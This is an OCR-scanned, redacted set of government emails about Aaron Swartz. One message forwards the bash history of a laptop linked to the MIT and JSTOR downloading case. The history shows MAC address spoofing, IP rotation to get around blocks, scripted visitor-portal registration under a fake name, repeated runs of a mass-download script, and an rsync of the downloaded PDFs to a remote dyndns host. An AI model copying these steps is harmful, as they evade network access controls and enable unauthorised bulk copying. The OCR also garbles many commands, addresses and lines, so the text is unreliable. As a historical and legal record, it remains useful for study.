Office of Congressional Affairs
United States Secret Sarvica

Ph: (202) 406-5676 Main line
(b)(6).(bYX7XC) Direct line
Cell

(202) 406-5740 Fax

2737



BIE1BRTHC) (CID)

From; Heymann, Stephen (USAMAJGIBT(EH7NC usdoj gov
Sent: 2011 12:58&'%'“"")1')'_].
(b)(e).(b)m(ci kg;"f
b)(8).(b)(7}(C)

To!
Ce: [ (BOS):[(BX6Y.(6)(7)(C) JISAMA)
Subjact: Aaron Swartz

(b)(6).(b) per EQUSA
FAT(OAY

(C}5)

Is there a thme we could talk this afternoon ar tomorrow? (If It is 8 matter of indifference to you, this afternoon would
be better for us.

Many thanks, Steve

2738



et (L))

(CID)

From: ‘(b)(rﬁ),(b)(n(C).pel BOS)

Sent: adnesday, March )2, 2011 5:31 PM

To: 'Heymann, Stephen (USAMAY

Ce: bYB)(EXN(C), JCID)

Subject: bash history of Acer Involved with MIT hack and downloading from JSTOR
Attachments: bash-History.{xt

Yl

The bash history of the Acer that was connected 1o the MIT network has references to the python script keepgrabbing
and JSTOR:

cat .bash_history

rm .bash_hlstory
screen ~x

uptime

df -h

Is fmint/pdfs/| we |

Is -f /mnt/pdfs/jwc -|
screen -x

cat .bash_history

Is

cat .ssh/known_hosts
whois ygl.as

uptime

curl www . Jstor.org
links www jstor.org/stable/838383
Is

myv 838383.pdf /mnt/pdfs/
screen -r

screen -xX

cur jstor.org

curl -{ wwww jstor.org
curl -l www jstor.ong
sudo ifcanfig wian0 down
sude dhclient -re
sudo dhcilent -r

sudo ifconfig eth0 up
sudo dhclient

curl -l www jstar.org
curl seripting.com
/shinfifconfig -a

curl scripting.com
ping 4.2.2.2

cat /ete/resolv.conf
sudo dhellent -r

sudo dhclient
ping4.2.2.2

cat fetc/resolv.conf
curl scriptng.com

2739



curl www.google.com

curl -1 www jstor.org

/sbin/ifconfig -a

ping ghost-laptop.dyndns-free.com

ps ax | grep ip

[etc/initdfez-ipupdate

Jetc/init.d/ez-ipupdate reload

sudo /etc/init.d/ez-ipupdate reload

ping ghost-laptop.dyndns-free.cam

dig ghost-laptop.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
sudo fetc/init.d/ez-ipupdate restart

dig @nsi.dyndns.org ghost-laptop.dyndns-free.com
ez-ipupdate —-help

ez-ipupdate ~help|lass

sudo ez-lpupdate

sudo ez-ipupdate -i ethO

more /etc/ez-ipupdate/default.conf

ez-lpupdate —help|less

sudo ez-ipupdate -c /etc/ez-ipupdate/default.conf

sudo ez-ipupdate -vwv -c fetc/ez-lpupdate/defauit.conf

ez-lpupdate ~help |less

sudo ez-ipupdate -vwwv -¢ Jetc/ez-lpupdate/default.conf -| eth0Q
sudo ez-ipupdate -¢ /etc/ez-ipupdate/default.conf -i etho

dig @nsi.dyndns.org ghost-laptop.dyndns-free.com
Is Jmnt/{we -

ed /mnt

Is

ps ax | grep touch

ps ax } grep seq

touch 1

Is

touch 2

seq 120

seq 1 20 } xargs touch

Is | we-l

seq 1 2000000 | xargs touch

Is | wed

is | less

Is | we -l

ps ax | grep bash

W

whoam |

kill 3658

ki) -9 3658

mkdir pdfs

¢d pdfs

~fkeepgrabhing.py

emacs fhame/ghost/keepgrabbing.py
zlte /home/ghost/keepgrabbing.py
~/keepgrabbing.py

touch foo
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rm foo

¢d..
~/keepgrabhing.py

cd /mnt

Is -

m?*

Is

cd pdfs

Is

cd

Is

python serveblocks.py
python serveblocks.py 8092
bg

fg

ps &x | grep serve

kitt 2461

ps ax | grep serve
python serveblocks.py 8092
hg

Is /ot

Is /mnt/pdfs

Is < /mnt/pdfs/

cd '
gnome-screensaver-command --activate
Is

ps ax | grep curl

kil 19047

cur] www.jstor.org
dhclient --haip

sudo dheilent
bwm-ng

Is blocks/|we -l

df -h

links www.stor.org/stable/873098
bwm-ng
gnome-screensaver-command ~activate
Is blocks/|we -}
bwim-ng

Is blocks/|we -
uptime

bwm-ng

df -h

is blocks | we -l
bwme-ng

sudo umount /mnt

df

screen x
~fkeepgrabbing.py

ed /mnt/
~/keepgrabbing.py

fg
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Cdk/er::;/ra bbing.py
:s /mm’;abblng. py
~/keepg

o

o
gg;/;/izabbms-pv
.;jSjkeepgmbbing.py
:gl'{e";:;/rabbing.py
;ékeepgvabbing.py
;ékeepgrabbingpy
;é eepgrabbing.py
E;’:zepgrabi::ing.py
Egkeepgrabblng.py
3;:eepgmbblng.m;
E?keenmbb!ns-nv
E7::;pgrahhing.py
E;gkeepgrabbmg.py
c‘;k/:: :;rabbing pY

‘E?kecpgrabbln@w
?L?epgrabbfng.py
. eepgrabbing.py
;;:eepgrabbing.pv
E:gkeepgrabbing,pv
E?keepgrat:tblng,pv
Efkeepsrabbing.py
E."gketepgrabbmg,pv
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bg
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mint/
~/keepgrabbing.py
<d /mnt/
~fkeepgrabbing.py
cd /rant/
~/keepgrabbing.py
cd /mant/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~fkeepgrabbing.py
~{kxeepgrabbing.py
cd /mnt/
~[keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
¢d frnt/
~/xeepgrabbling.py
cd /rony/
~/keepgrabbing.py
¢d /oant/
~/keepgrabbing.py
cd /mnt/f
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd /mnt/
~/keepgrabbing.py
cd front/
~/keepgrabbing.py
cd fmnt/
~/keepgrabbing.py
cd /mat/
~/keepgrabbing.py
cd /mnt/

~ /k
~/keepgrabbing.py
cd fmnt
~/keepgrabbing.py
cd fmnit
~fkeepgrabbing.py
cd /mnt/
~/keepgrabbing.py
~{keepgrabbing.py
cd /mt

td /mnt/

ed /mt
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~fkeepgrabbing.py
~fkeepgrabbing.py

cd /mnt/

~/keepgrabbing.py
~{keepgrabbing.py

cd /mnt/

~{keepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~/keepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~/keepgrabbing.py
~/keepgrabbing,.py

<d /mnt/

~/keepgrabblng.py
~/keepgrabblng.py

cd /mnt/

~/keepgrabbing.py
~/keepgrabbing.py

cd /mnt/

~/keepgrabbing.py

cd /mnt

~/keepgrabhing.py

screen -

screen -x

uptime

df -h

screen -r

screen -x

e

uptime

bwm-ng

df -h

screen -x

ps ax | grep curl

psax | grep keepgr | awk '(print 31}' | xargs kill
ps ax | grep curl

psax | grep gr

psax | grep curl

df-h

/shin/ifconfig -a

sudo ifconfig ethO:1 static 18.55.7.49
curl ~interface eth0:1 www.jstor.org
curl ~interfaca sth0:1 www.google.org
rsync -avz pdfs/ ghost-macbook.dyndns-free.corn:/vol/pdfs
screen -r

screen -x

python

sudo easy_install pyoai

sudo apt-get install python-bxmi

sudo easy_install pyoai
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python

sudo easy_install --remove pyoai
easy_install --help
easy_lnstall --help|less

sudo easy_lnstall --remove pyoai
python

sudo easy_fnstall pyoal

¢d Just/local/lib/python2.6/
Is

1s site-packages/

cd

Is

locate easy-instali.pth

locate easy_install.pth

sudo easy_Install pyaal
locate easy-install.pth

cd Jusr/lib/python

Is

Is-8

cd ../python2.6

Is

easy_install --help
easy_install --help|less
python serveblocks.py
python serveblocks.py 8092
bg

sudo dhclient -r

sudo dhdlient

sudo dhclient -r

sudo dhclient

sudo dhellent ¢

sudo dhelient

ping4.2.2.2

sudo dhcllient -¢

sudo dhcllent

sudo dhclient ¢

sudo dhcllent

sudo dhclient -¢

sleep 60

sudo dhclient -r

sudo dhclient

¢d /volf

ts -}

(s -1h pdfs

easy_[nstall pyoai

sudo apt-get Install python-setuptools
sudo apt-get update

sudo apt-get Install python-setuptools
sudo apt-get upgrade i
ex-lpupdate

sudo /fetc/init.d/ez-ipupdate restart

ping ghost-laptop.dyndns-free.com
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/sbin/ifconfig eth0

ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-lpupdate restart
ping 18.55.7.237

ping ghost-laptop.dyndns-free.com
sudo /fetc/init.d/ez-ipupdate help
sudo /fetc/init.d/ez-lpupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-ipupdate

more Jetc/ez-ipupdate/default.conf
sudo less /etc/ez-ipupdate/default.conf
ps ax | grep ez-ip

ping ghost-laptap.dyndns-free.com
cd /vol/pdfs/

Is

Is | less

python oaigrab.py

python - oalgrab.py

cd fvol/

Is

cd muse.jhu.edy/

Is

¢d content/oaifjournals/

Is

od social_text/

Is

¢d v017/

is

more 17.3

more 17.3dutton.htmi

man wget

du -hsc /vol/*

du -hsc /volf*

bwm-ng

Is -th uristograb.wget

grep pdf urlstograb.wget

screen -X

man wget

cd /volf

Is

wget -x -nc ~/urlstograb.wget

wget -x -nc -1 ~/uristograb.wget
sudo chown ghost .

wget -x -n¢ -1 ~furlstograb.wget
wget -q -x -nc -l ~furlstograb.wget
wget ~av -x -nc 4 ~/uristograb.wget
screen -x

emacs oaigrab.py

sudo apt-get Install emacs23-nox
emacs oalgrab.py

python oalgrah.py | tee urlstograb.wget
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wc -l uristograb.wget

grep htmi uristograb.wget | sed -e 'sfhtmi/pdf/' > urlstograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/ > uristograb2.wget
more urlstograb

more urstograb2.wget

cd fvol/

wget -nv -x -nc -i ~/uristograb2.wget
grep htmi urlstograb.wget | sed - 's/htmi/pdf/* >> uristograb2.wget
cd

grep htmi uristograb.wget | sed -e 's/htmi/pdf/' >> uristograb2.wget
<d /vol

wget -nv -x -nc -| ~/uristograb2.wget
curl muse.Jhu.edu/t

links muse.jhu.edu

screen -x

cd /media/noname/

is

cp tograb.log /homa/ghost/

ccd

od

¢<d biocks/

is | we 4

cd..

is

mv tograb.log blocks/

cd blocks/

maorae tograb.log

split -n 100 tograb.log

split --help

split ~help|less

split -1 100 tograb.log tograb.

Is

rm tograb.*

¢p /medla/noname/tograb.log tograb-
split ~help|less

spiit -a 5 -1 100 tograb .log tograh-

Is tograb *

we -

Is | we-l

mv tograb.log ..

sudo dhclient —release

sudo dhelient -r

sude dhclient

sudo dhdlient -r

sudo dhelient

sudo /etc/Init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less

ping ghost-laptop.dyndns-free.com
screen -x

sudo ifconfig ethO up

curl --Interface ethO https://nic.mit.edu:444/bin/dynarag?classavisitor

9
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/sbin/ifconfig -a
sudo dhcllent
curl --interface ethQ https://nic.mit.edu:444/hin/dynaregclass=visitor

cat logininfo

curl --interface ethQ https://10.72.0.47:444/bin/dynaregclass=visitor
cyrl ~interface eth0 10.72.0.47

ping --hel

ping -1 eth0 10.72.0.47

/sbin/ifconfig -a

ping -1 eth04.2,2.2

man ping

ping -1 10.2.55.1204.2.2.2

sudo ping -1 10.2,55.1204.2.2.2

/sbin/ifconfig -a | less

sudo ping -110.2,55.1204.2.2.2 -

sudo ping -l wlan0 4.2.2.2

sudo ping -l eth0 4.2.2.2

ping -l eth04.2.2.2

sudo ping -1 eth0 4,

sudo ping -l ethD 10.72.0.47 )

sudo curl —interface eth$ 10.72.0.47

man curl

sude curl --interface 10.2.55.120 10.72.0.47

route

[sbinfifconflg -a

route add default gw 18.2.55.1

sudo route add default gw 18.2.55.1

sudo ping -1 eth0 10,72.0.47

echo "suda route add defauit gw 18.2.55.1" >> logininfo
sudo curt --Interface 10.2.55,120 10.72.0.47

curl ~-interface eth0 10.72.0.47

curl --interface ethQ https://10.72.0.47:444/bin/dynareg?class=visitor

curl -k ~Interface ethO https://10.72.0.47.444/binfdynareg?class=visitor
curl -d "class=visitor” -k ~interface ethO https:;//10.72.0.47:444/bin/dynareg
curl -d "class=visitor&action=Register" -k --interface ethO https://10.72.0.47:444/hin/dynareg

curi -d "vname=Grace +Host&vematl=ghostd2 @mallinator.com&action=Register&class=visitor” -k ~interface ethQ

https://10.72.0.47:484/bin/dynareg

echo 'curi -d “vname=Grace+Host&vemallsghost42 @mailinator.com&action=Register&class=visitor” -k ~interface eth0

https://10.72.0.47:444/bin/dynareg' >> loglninfo
curl ~interface eth0 10.72.0.47

sudo dhclient eth0

sleep 600; sudo dhcitent ethQ

route

curl ~interface wiland www.yahoo.com
curl ~interface wlan0 4.2.2.2

sleep 600; sudo dhclient ethQ

sudo ghclient ethQ

sudo ping -1 eth0 10.72.0.47

sudo ping -l wian04.2.2.2

suda ping -f eth0 4.2.2.2

man route

dnslp

10
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dig www.yahoo.com

dig www.yahoo.com|grep "IN"

dig www.yahaa.com|grep "(N" | grep 10,72
echo 'dig www.yahgo.com|grep "IN" | grep 10.72' > logininfo
/sbin/ifconfig -a

/sbin/ifconfig -ajgrep en

sudo ifconfig ethQ hw 00:4c:e5:a0:¢7:56
sudo Hconfig ethO hw ether 00:4c:e5:80:¢7:56
sudo ifdown ethQ

sudo ifconfig eth0 hw ether 00:4c:a5:20:c7:56
sudo ifcontig eth0 down

sudo ifconfig ethD hw ether 00:4¢:e5:a0:c7:56
sudo Ifconfig eth0 up

emacs logininfo

ping www.yahoo.com

dig yahoo.com

sudo dhclient

dig www.yahoo.com

emacs logininfo

emacs /etc/ez-ipupdate/default.conf
/sbin/ifconfig -a

sudo emacs fetc/ez-pupdate/defauit.conf
Jetc/init.d/ez-ipupdate restart

sudo fetefinit.d/ez-ipupdate restart

dig

dig x.dyndns-free.com

dig ns x.dyndns-free.com

cat fetefresalv.c

cat /etc/resalv.conf

dig www.yahoo.cvom

dig www.yahoo.com

links --help

links --help|grep inerf

links --help|grep interf

fynx

curl --interface ethO www.yahoo.com

dig @10.2.55.7 www.yahoo.com

dig @10.2.55.2 www.yahoo.com

sudo dhclient

¢cat Jetc/resolv.conf

sudo dhctient

cat ferc/resolv.conf

ping 10.72.0.47

dig @10.72.0.47 www.google.com
gnome-screenssver-

df

ping www.yahoo.com

echo 10.72.0.47>> logininfo

dig --help

host —help

dig ns x.dyndns-free.com

dig @ns1.dyndns.org ghost-laptop.dyndns-fres.org
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dig @ns1.dyndns.org ghost-laptop.dyndns-free.com

fshinfifconflg -a

ssh ghost-laptop.dyndns-free.arg

ssh ghost-laptop.dyndns-free.com

ssh ~help | grep interf

man ssh

sudo ifconfig eth down

ssh ghost-faptop.dyndns-free.com

sudo curl —-interface eth0 10.72.0.47

route

ssh ghost-laptop.dyndns-free.com

ping www.yahoo.com

/shin/ifconfig -a

ssh 10.189.76.179

sudo dhclient eht0

sudo dhclient eth0

route

man route

route

sudo dhcifent ethO

sudo route del default

sudo route -net 10.0.0.0 gw 10.189.64.1

sudo route add -net 10.0.0.0 gw 10,189.64.1

sudo route add 10.0.0.0 gw 10,189.64.1

route

ping 10.189.76.179

ping 10.72.0.47

sudo dhclient eth0

/sbin/ifconfig -a

ping google.com

route

ping 4.2.2.2

sudo dhclient ethQ

cat logininfo

curl -d "vnameaGrace +Host&vemall=ghost42 @mailinator.com&vsponsar=&vinterval=14"
curl -d "vname=Grace+Host&vemail=ghostd2 @matlinator.com&vsponsor=&vinterval=14" -k —interface eth0
https://10.72.0.47:444/bin/dynareg

echo 'curl -d "vname=Grace+Hast&vemail=ghost42 @mallinator.com&vsponsorz&vintervalsiq” -k --interface ethQ
hitps://10.72.0.47:444/bin/dynareg' >> logininfo

cur www.yahoo.com

echo 'curl -d "vname=Grace+Host&vemail=ghost42 @mailinator.com&vsponsor=&vinterval=14" -k --interface eth0
https://10.72.0.47:444/bin/dynareg' >> logininfo ’
curl -d “vname=Grace+Host&vemailaghostd2 @mailinator.com8wsponsor=&vinterval=14" -k ~interface eth0
https://10.72.0.47:444/bln/dynareg

curl -d "vname=Grace+Host&vemall=ghost42 @mallinator.com&vsponsor=&wvintervai=5" -k ~interface eth0
https://10.72.0.47:444/bin/dynareg

sudo dhclient eth0

sudo dhclient -r

sudo dhcltent -1 eth0

sudo dhcllent ethQ

/shin/ifconflg -a > ifconfiglog

[sbinfifconfig -a
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sudo ifconflg wian0 down

sudo ifconfig wlan0 hw ether 90:4¢.¢5:80:¢7:55
sudg ifconfig wianO up
/sbinfifconflg -a
/etc/init.d/ez-ipupdate restart
sudo /etc/Init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2

sudo dhcllent

ping 4.2.2.2

ping www.yahoo.com

route

curl www.yahoo.com

ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a

ssh 18.111.48.33

curl www.yahoo.com

sudo dhclient eth0

cd /media/bce820ea-a03b-4556-bfaé-eff2d9eb665e/
Is

Is | grep ajp

Is | grep -v oxford

cd fvol

Is

cd www.genome.org/content/1/3/

Is

cd /media/bce820ea-a03b-4556-bfas-eff2d9eb665ef

maore pdfs/2520824.pdf

more pdfs/25208234.pdf

Is -l pdfs/25208234.pdf

Is -t pdfs | head

python

ps ax | grep pyth

psax | grepls

sudo kil 8185

sudo kil -9 8185

fg

cd bl

cd blacks/

Is

cd donef

Is | less

Is | head

more allpd00000009

mare aillpd000000009

more allpdQG00000009

Is -t /media/bce820ea-a03b-4556-bfab-eff2deb665e/pdfs 20273145 . pdf
is | tall

more tograb-aaggu

more /media/bce820ea-a03b-4556-bfaé-eff2d9eb665e/pdfs/359815.pdf
i3 -| /media/bce820ea-303b-4556-bfab-eff2d9eb665e/pdfs/359815 pdf
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1s | less

Is | grep -v pd | less

Is | grep bik | tail

more hik0000003629

more /media/bce820ea-a03b-4556-bfab-eff2d9eb665e/333479

more /media/bce820ea-a03b-4556-bfac-eff2d9eb6p5¢/399479.pdf

more /media/bce820ea-303b-4556-bfab-eff2d9eb665e/3993479.pdf
more /media/bce820ea-a03b-4556-bfab-eff2d9eb665e/pdfs/3999479.pdf
more /media/bce820ea-a03b-45%6-bfa6-eff2d9eb665¢/pdfs/3999478. pdf
cd

python

In -s /media/bceB20ea-al3b-4556-bfa6-eff2d9eb665e/ /media/drive

sudo In -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive

]

Is /media/drive/pdfs®

¢

w

/sbin/ifconfig -a

ssh 10.189.61.53

/shin/ifconfig -a

sudo fetc/init.d/ez-ipupdate restart
ssh 18.111.48.33

Is

more failedandneedtograb

cat falledandneedtograb | sed -e 's/.pdf//' | sort-u | head
cat faitedandneedtograb | sed -e 's/.pdf//' | sort -u > failed-partial-clean
head falled-partial-clean » blocks/testfalled
/sbinfifconfig -a

curl --interface wlan0 www.yahoo.com
route

ping 18.111.31.1

we -] falledandneedtograb

sudo apt-get install autossh

sudo apt-get update

man ssh

ps ax | grep dhdlient

kit 7937

sudo kill 7937

sudo kill 8001

sudo kil 8281

ps ax | grep dhclient

Ps ax | grep netwo

ps ax | grep Netw

sudo kilf 730

ps ax | grep Netw

ps axt

fetc/init.d/network-manager stop

sudo fetc/init.d/network-manager stop

ps ax

ps ax | grep dhcl
sudo kill 3839
ps ax

14
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{shinfifconfig -a

sudo entacs fetc/ez-lpupdate/default.conf
sudo /etcfinit.d/ez-Ipupdate restart

dig ghost-laptop.dyndns-free.com

is

screen -x
w

wha ami

wc - feiled-ctean

screen -x

|

Is

cat falledandneedtograb | sed -e 's/.pdi//' | sort -u > falled-partial-clean
we - failedandneedtograb

cat falledandneedtograb | sed -e ‘s/.pdf//’ | sort -u » falledclean
rm falled-partial-clean

more failed-clean

cd blocks/done

Is | less

less HIk0000000020

we -| bik0000000020

cd..

split --help

split ~a § -1 1000 failed-clean blocks/blkfail
df-h

creen -x

screen -x

who am |

cd umi

python

cd uml

grep 797854 *

grep 801859 *

Is

more 900.htmi

grep 1978790241 *

screen -r

screen -x

Yinks

Is

screen -x

Is blocks

is

rm failedandneedtograb

rm failed-clean

python

Is

mv pdf2size.dbm pdf2size-js3.dbm
fg

more stilitograbx

split --help

split -a 5 -1 100 stilltograbx blocks/stiilbik
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Is bocks

fg

¢d /media/drive/pdfs

more 3590725.pdf

less 3697690.pdf

cd /media/drive/pdfs

more 3580725.pdf

less 3697690.pdf

links "http://www.nejm,org.ezp-
pr/doiffull/10.1056/NEIMpO781907keytype2=tf_ipsecsha&lijkey=d016a4bad 5489a1d98c8c00d31b0f51b7fe229d4&
links "http://www.nejin.org.ezp-pr/doi/fullf10.1056/NE/Mp078190"

links "http://www.nejm.org/dol/full/10.1056/NEIMPO78190"

Is

Is umi/saneurl.py

links http://linkinghub.alsevier.com/retrieve/pil/0933365789900110

links "hitp://linkinghub.elsevier.com/retrieve/pil/092911999490006X"

more /volfuml/107685.btml

links fvol/umi/107685.htm!

links Avol/umi/107794.html

curl - http://tinkinghub.elsevier.com/retrieve/pii/89780750657457500224

curt -i
"http://linkinghub.elsevier.com/retrieve/articleSelectSingle?Redirect=http%3A%2F¥%2Fwww.sclencedirect.com%2Fscien
ce%3F_ob%3DGatewayURL%26_origin¥%3IDinwardhub%26_uriversion%3D4%26_method%3DcitattonSearch?26_pitkey%
3DBY9780750657457500224%26_verslon%301%26md5%305d0b15fec31eccc36684151f1e94930a"

curt -4
“http://www.sciencedirect.com/science?_ob=GatewayURLE&_originzinwardhub&_urversion=4&_method=citationSearc
h&_plikey=B9780750657457500224& _version=18&mdS=5d0b15fec31eccc36684151f1e94990a"

cur - “bitp://www.sciencedirect.com/science?_obsArticleURL&_udi=B8K8S-4RIMOTB-

88 _user=5010458& _coverDate=01%2F09%2F20088_rdoc=18&_fmt=high&_orig=search8 _origin=search&_sort=d&_doca
nchora8view=c&_acct=C0000226598& varsion=18_uriVersion=08& _userid=501045&md5=0dd2643f6e14c404198de5326
a67¢81a&searchtype=a”
ping www.jstor.org

curl www.|star.org

is

screen -x

df -h

screen -r

screen -X

cd /mediafdrive/jsindex/
|

s

ls

s

Is

cd 1923

Is

more 00500 .htmi
python

cd ..

Is

python

more 1923/06700.htrnl
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fg

Is blocks

df -h

sudo umount /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ping4.2.2.2

/sbin/ifconflg -3

/shinfifconfig -a}less

Is

~/bin/sls pdfs | head

.J/sts pdfs | head

cd pdfs

../sks | xargs -l mv {} /vol/pdfs/
.Jsbs . | xargs -i my {} /vol/pdfs/
Is

od .

rmdir pdfs

more deleteandgrab

Is

Is

morve pdfs3.sls

tall pdfs3.sls

Is

more js3.IsiR

less js3.IsIR

ts -th js3.IsIR

fg

Is

is -Ih pdfsize-js4.dbm

we -l Js3.isIR

python

split -a 5 -1 100 30mblacks blocks/grp30m
cd /vol/jsindex/

python

cd /media/dr

cd /media/drive/
~/keepgrabbing.py

fg

more /media/drive/3478605.pdf
more /media/drive/pdfs/4478605.pdf
curl protect.theinfo.org

links protect.thelnfo.org

df

ps ax | grep part

ps ax

cd /mediaf

Is

mkdir drive2

sudo midiv drive2

sudo mount /dev/sdf drive2
sudo mount -t reiserfs /dev/sdf drive2
sudo mount -t raiserfs /dev/sdf drive2

df

17
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df -h

cd drive?

Is

Is-a

mkdir pdfs

sudo mkdir pdfs

sudo chown ghast pdfs
cd /vol

Is -1

cd ..

is -4

rm vol

sudo rm vol

sudo in - /media/drive2 vol
screen -

screen -x

ping www.google.com
/sbin/ifconfig -a
/sbinfifconfig -afless
dhclient

sudo dhelient

sudo ifdown eth0:1

ping www.google.com
[sbin/ifconfig -a
/sbin/ifconfig -allass
ping4.2.2.2

cat /etc/resolv

cat fetc/rasolv.conf
ping 10.72,0.47\

ping 10.72.0.37
ping4.2.2.2

sudo ifconfig down eth0:1
sudo Ifconfig eth0:1 down
/sbinfifconfig -a|less
sleep 600 & bell

bg

dhclient

sudo dhclient

gf -h

sudo umaunt /dev/sdf1
fg

df

ps ax | grep dnclie

sudo kil 31696
/sbinfifconfig -a | less
screen -x
gnome-screensaver
gnome-screensaver-command --lock
gnome-lock-screen
gnome-screensaver-iock
xscreensaver -lock
gnome-screensaver-command --lock

. IR IF
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gnoma-screensaver

screen -x

df

¢d /media/

Is

mount /dev/sdgl 3aab9fe1-9¢54-43b1-9374-72722d78d3e0/
suda mount /dev/sdgl 3aab9fel-9c54-43b1-9374-72722d78d3e0/
df

sudo mount /dev/sdhl 3aab9fe1-9¢54-43b1-9374-72722d78d3e0/
Is

/sbin/ifconfig -3

sudo ifconfig mac 91:4¢:e5:a0:¢7:55

Is

[sbin/ifconfig -8 > mac

sudo Ifconfig mac 91:4c:e5:a0:¢7:55

fg

suda ifconfig ethO mac 91:4c:e5:a0:c7:55

man ifconflg

sudo ifconfig eth0 hw ether 91:4c:e5:a0:¢7:55
{sbin/ifconflg -a |grep ether

/sbin/ifconfig eth0

sudo ifconflg eth0 hw ether 00:4¢:e5;30:¢7:55

sudo ifdown ethQ

sudo Ifeonfig ethO bw ether 00:4c:e5:a0:c7:55

sudo ifconfig athO dawn

sudo ifconfig ethO hw ether 00:4¢:eS:a0:c7:55

sudo Hconflg ethQ up

dhclient

sudo dh

sudo dhelient

sudo dhclient -r

cd /mnt/

is

df

cd /medla/bce820ea-a03b-4556-bfa-eff2d9eb665e/

is

Is-t/

In -s /media/hce820¢a-a03b-4556-bfa6-eff2d9eb665¢/ Jvol
SUDO In -5 /media/bce820¢ea-a03b-4556-bfa6-eH2d9eh665e/ /vol
sudo in -s /media/bce820ea-a03b-4556-bfab-eff2d9eb665e/ /vol
cd /vol

Is

df

ifconfig

sudo dhclient -r

sudo dhelient

Is

ed

Is

screen -r

Is blacks/|we -|

screen

; [r

||=|
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scregn -

screen -x

wc - uristograb.wget

df -h | media

df -b | grep media

we - uristograb.wget

df -h | grep media

grep -v oxford urtstograb.wget |fess

grep -v oxtord uristograb wget |grep -v dukejo |grep -v genesdev | grep -v err |less

grep -v oxford uristograb.wget |grep -v dukajo |grep v genesdey | grep -v efr | grep -v cship | grep v rnajou |less
grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep -v err | grep -v cship | grep -v tnajou |grep v
genome|less

grep -v oxford uristograb.wget |grep -v dukejo |grep -v genesdev | grep - err | grep -v cship | grep -v majou |grep -v
genome|grep -v learnmenm | less

we  urls®

df -h | grep media

Is blocks/ jwe -

df -h | grep media

Is blocks/jwe 4

df-h | grep media

Is blocks/ jwe <

df -h | grep media

s

df

w

df -h | grep media
& blocks/we -l
df -h | grep media
ks blocks/|we -1

Is blocks/)wc -}
df -h | grep medis
Is blocks/jwc 4
df -h | grep media
Is blocks/jwe -

df -h | grep media
Is blacks/)we 4

Is /mnt

is /vol

df -h | grep medis
Is blocks/|we

df -h | grep media
is blocks/|we 4
df -h | grep media
is blocks/ jwe 4
df-h

Is blocks/ | wc -
df -t | grep media
Is blocks/ |we -
df-h

df -h | grep media
is blocks/ | we

df -h | grep media

. [r1F
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Is blocks/ |we -1

df -h | grep media

I blocks/|we -l

df -h | grep media

Is biocks/ |we -l

df -h | grep media

Is blocks/|wc -i

df -h | grep media

Is blocks/| we

df -h | grep medla

Is blocks/ | we -|

df -h | grep media

ping google.com

/shin/fconflg -a

/sbinfifconfig -a|less

df

umount /media/grive

cd /media/drive/

Is

df -h

Is

sudo umount /dev/sdel

sudo umount -f /dev/sdel

df

/sbin/ifconfig -a|less

df -h | grep drive2

{s blocks/ we -

od

is blocks/ | we -

df -h | grep drive2

/sbin/ifconfig -2

fconfig eth0:1 static 18.55.7.24%
sudo ifconfig eth0:1 statlc 18.55.7.241
/sbin/ifconfig -3

curl ~-interface eth0:1 www.[stor.arg
curl --interface ethO www.jstor.org
sudo ifeonfig eth0:1 static 18.55.6.241
curl ~interface eth0 www.jstor.org
curl ~interface eth0:1 www.jstor.org
sudo ifconfig eth0:1 static 18.55.5.241
curl - interface ethO:1 www fstor.org
sudao fconfig eth0:1 static 18.55.4 241
curl --interface eth0:1 www.jstor.org
/sbin/ifconfig -a

sudo ifconfig ethi®:1 static 18.54.4.241
curl -interface eth0:1 www.stor.org
sudo ifconfig eth(:1 static 18.54.5.241
sudo ifconfig eth0:1 static 18.55.5.241
sudo ifconfig eth0:1 up static 18,55.5.241
Is blocks/jwe -1

ping 4.2.2.2

cd vol

T
—
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ed fvol
~/keepgrabbing.py
fa

cd..

Is vol

Is -1 vol

rm vol

sudo rm vol

sudo In -s fmedia/drive /vol
cd /vol
~/keepgrahhing.py
k]
~/keapgrabbing.py
cd.

cd vol
~fkeepgrabbing.py
cd

Is

mkdir tomove

cd tomove

mkdir pdfs
~fkeepgrabbing.py
emacs ../keepgrabbing.py
~/keepgrabbing.py
sudo rm /vol

sudo In -s /media/3aabdfe1-9¢54-43b1-9374-72722d78d3e0/ /vol

¢d /vol

~/keapgrahbing.py

fg

Is

cd../vol

~{keepgrabbing.py

links www.jstor.org

dhelient

/sbin/ifconfig -a

Ifconfig up eth0:1 18.55.6.251

Ifconfig -help | fess|A

ifconfig --help

Ifconfig eth0:1 up static 18.55.6.251
sudo Ifconfig eth0:1 up static 18.55.6.251
sudo Ifeonfig ethO:1 up static 18.55.6.252
/sbin/ifeonfig -a

ping ~help | less

ping - eth0:1 www.google.com
/sbin/ifconfig -a

/sbin/fifconflg -a}less

sudo ifconfig eth0: L up static 18.55.6.241
/shin/ifconfig -a

ping -1 eth0:1 www.gaogle.com

ping -1 18.55.6.241 www.google.com

curl --Interface eth0:1 www.google.com
curl —-interface eth0:1 www.jstor.org

[RiF |
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curl —help } less

/shin/ifconfig -2

sudo ifconfig eth0:1 up static 18.55.6.252

curl --interface eth0:1 www.jstor.org

sydo ifconfig eth0:1 up static 18.55.7.240

curi --Interface eth0:1 www.jstor.org

curl ~interface eth0:1 www.|stor.org/x

Is

emacs keepgrabbing.py

cd tomove/pdfs/

Is | we -l

mv * fvol/pdfs

Is

ed..

is

mkdir umi

cd umi

curl =0 0.htm! “proquest.umi.com/pgdweb?RQT=305&5Q=PMID(66569)8PageSize=50"
curl -0 0.htmi "proquest.umi.com/padweb?RQT=305&5Q=PMID(66563)&PageSize=50&cfc=1"
more O.htmi

